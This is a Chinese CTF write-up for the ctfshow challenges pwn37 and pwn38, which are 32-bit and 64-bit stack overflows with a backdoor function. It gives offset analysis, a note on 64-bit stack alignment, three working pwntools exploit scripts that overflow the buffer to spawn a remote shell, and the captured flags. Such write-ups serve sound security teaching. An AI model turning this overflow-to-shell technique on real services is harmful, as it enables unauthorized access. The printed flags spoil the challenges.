目录
1、pwn37
2、pwn38
1、pwn37
32位的 system(“/bin/sh”) 后门函数给你
对于这种有后门函数的简单栈溢出我们就不作过多分析,这种类型题是有固定套路的,我们这里就直接用模版 exp 打通。
检查一下是多少位程序:
32位
拖进 ida32 反编译 main 函数
跟进 ctfshow 函数:
典型的栈溢出类型
buf 到栈底的距离:0x12
shift+F12,发现存在 /bin/sh
(注意这里的 /bin/sh 直接双击跟进的地址并不是后门函数的地址)
找到后门函数:backdoor()
找到后门函数地址:0x8048521
编写 exp:32 位程序加上 4 字节的栈底(ebp)
from pwn import *
context.log_level ='debug'
p = remote('pwn.challenge.ctf.show', 28146)
payload = b'a'*(0x12+4) + p32(0x8048521)
p.sendline(payload)
p.interactive()
连上后直接拿到 shell
命令执行获取 flag
ctfshow{2a2334a0-3e1b-4463-8e90-d1c8876879f9}
2、pwn38
64位的 system(“/bin/sh”) 后门函数给你
检查一下:64位程序
拖进 ida64 分析
跟进 ctfshow 函数,也是典型的栈溢出
buf 到栈底(ebp)的距离是:0xA,64 位程序加上 8 字节的栈底(rbp)
同样存在后门函数:backdoor()
找到该函数地址:0x400657
对于 32 位程序来说,现在就能打通了
但是这里是 64 位程序,需要处理堆栈平衡
堆栈平衡:
当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址 一定要是 call 指令的下一个地址。
因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)
直接看 backdoor 函数的汇编代码:
lev 的地址:0x40065B
retn 的地址:0x40066D
特别注意:构造 payload 时将该地址放在该函数开始地址之前
编写 exp:
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)
payload = b'a'*(0xA+8) + p64(0x40065B) + p64(0x400657)
p.sendline(payload)
p.interactive()
连上后获取 shell ,直接命令执行获取 flag
ctfshow{50917378-b683-4623-99dc-c27959399517}
继续尝试 retn 的地址
编写 exp:
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)
payload = b'a'*(0xA+8) + p64(0x40066D) + p64(0x400657)
p.sendline(payload)
p.interactive()
也是可以的